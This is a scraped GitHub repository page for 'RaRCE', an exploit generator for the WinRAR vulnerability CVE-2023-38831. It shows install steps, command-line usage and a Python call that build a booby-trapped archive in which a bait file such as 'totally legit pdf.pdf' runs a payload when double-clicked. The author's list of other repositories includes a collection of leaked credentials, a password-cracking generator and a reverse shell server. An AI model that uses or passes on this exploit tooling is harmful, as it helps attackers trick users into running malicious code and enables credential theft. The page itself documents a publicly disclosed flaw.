• Stars
    star
    115
  • Rank 305,916 (Top 7 %)
  • Language
    Python
  • License
    GNU General Publi...
  • Created over 1 year ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

An easy to install and easy to run tool for generating exploit payloads for CVE-2023-38831, WinRAR RCE before versions 6.23

RaRCE, Exploit generator for CVE-2023-38831

Contributors Forks Stargazers Issues GitHub

This is an easy to install and easy to use, versatile exploit generator for CVE-2023-38831, a vulnerability that affects WinRAR versions before 6.23.

RARLabs WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file. This was exploited in the wild in April through August 2023.

How to install

Using pip

You can install the tool easily via pip.

pip install rarce

Or, you can use it from the source code.

git clone https://github.com/ignis-sec/CVE-2023-38831-RaRCE
cd CVE-2023-38831-RaRCE
python3 setup.py install

How to use

usage: rarce [-h] [-v] [-i] [-dt] [-pt PRESERVE_TEMP] bait switch output

Exploit generator for CVE-2023-38831

positional arguments:
  bait                  Path to the bait file to to add to the archive.
  switch                Path to the payload to switcheroo with the bait file on double click.
  output                Path to the output file.

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Verbose output.
  -i, --ignore-path-check
                        Ignore path validity check. If given, rarce can overwrite existing files given in output parameter, and can create missing folders for
                        output path.
  -dt, --dont-use-tempdir
                        Prevent the tool from creating a temporary directory when creating the exploit. Instead, create the intermediate folders in current
                        working directory.
  -pt PRESERVE_TEMP, --preserve-temp PRESERVE_TEMP
                        Preserve the temporary directory after creating the exploit. Has no effect if -dt or --dont-use-tempdir is not specified.

After installing via pip or setup.py, you can use this tool from the command line. Following command will create the exploit file for you. When a user double clicks the bait file, the payload script or executable will run instead.

$ rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"

Optionally, you can use it as a runnable module.

python -m rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"

You can also use it within your existing code.

from rarce import exploit

exploit("totally legit pdf.pdf", "payload.cmd", "exploit.rar")

More Repositories

1

Pwdb-Public

A collection of all the data i could extract from 1 billion leaked credentials from internet.
3,052
star
2

puff

Clientside vulnerability / reflected xss fuzzer
JavaScript
150
star
3

Markopy

Markov Model libraries, optimized for cracking-focused password generations.
C++
109
star
4

github-year-draw

draw a grayscale bmp to your github yearly activity
Python
55
star
5

spotify-sync

Sync RGB devices to your spotify songs. Sync your keyboard, sync your headset, sync your mouse, sync your toaster, sync your toilet, sync your hours developing this project, i dont judge.
Python
32
star
6

CtfCryptoTool

A tool for automated analysis of ctf type crypto challenges
Python
29
star
7

shellman

Modular reverse shell server with a Discord frontend and example payloads
Python
28
star
8

Tools

Various tools i created for my own use
C++
10
star
9

cve-details-extension

Hover over cve id's on the website to get a helpful summary.
JavaScript
10
star
10

audio_loopback

A Windows/Linux package for real-time sound processing from playback devices. (Needs VB-Audio/Pulse)
Python
6
star
11

DNS-fuzzer

A script that fuzzes a domain server for domain names from a wordlist
Python
6
star
12

CudaMD5

Finding strings that get md5'ed to php type juggleable hash
Cuda
5
star
13

CVE-2019-10008

ManageEngine Service Desk Plus 10.0 Privilaged account Hijacking
Python
4
star
14

razer-pychroma

A simple module for simple animations on razer devices.
Python
3
star
15

rgb_ecio

ECIO built in led strip color driver for windows
Python
3
star
16

allogate

A simple but pretty python logging package (IT HAS STACKS!)
Python
3
star
17

rgb_keyboard

A CLI tool for interfacing with RGB Keyboards. Works on Windows.
Python
2
star
18

Games

Collection of games i created
C++
2
star
19

Neural-Network-with-Cpp

Simple FFNN using C++
C++
2
star
20

Service-Control-Code-Sender

A small windows binary to send control code requests to services
C++
2
star
21

Hostname-Polluter

Minimalistic extension to quickly check hostname pollution
JavaScript
2
star
22

ignis-sec

2
star
23

cng-334

C++
1
star
24

MailSender

Simple python mail sender script
Python
1
star
25

DevsWebsite

Developers Club Official Website
JavaScript
1
star
26

BDQR

C++
1
star
27

Puzzles

Solutions to online Programming Puzzles
C++
1
star
28

Termcore

A tool for getting a shell from narrow RCE vectors
Python
1
star
29

Discord-Cyber-Bot

Discord bot for our cyber security discord channel
JavaScript
1
star
30

Sublime-Handlebars

Support for .handlebars file, without giving up autocomplete or autoindent
Python
1
star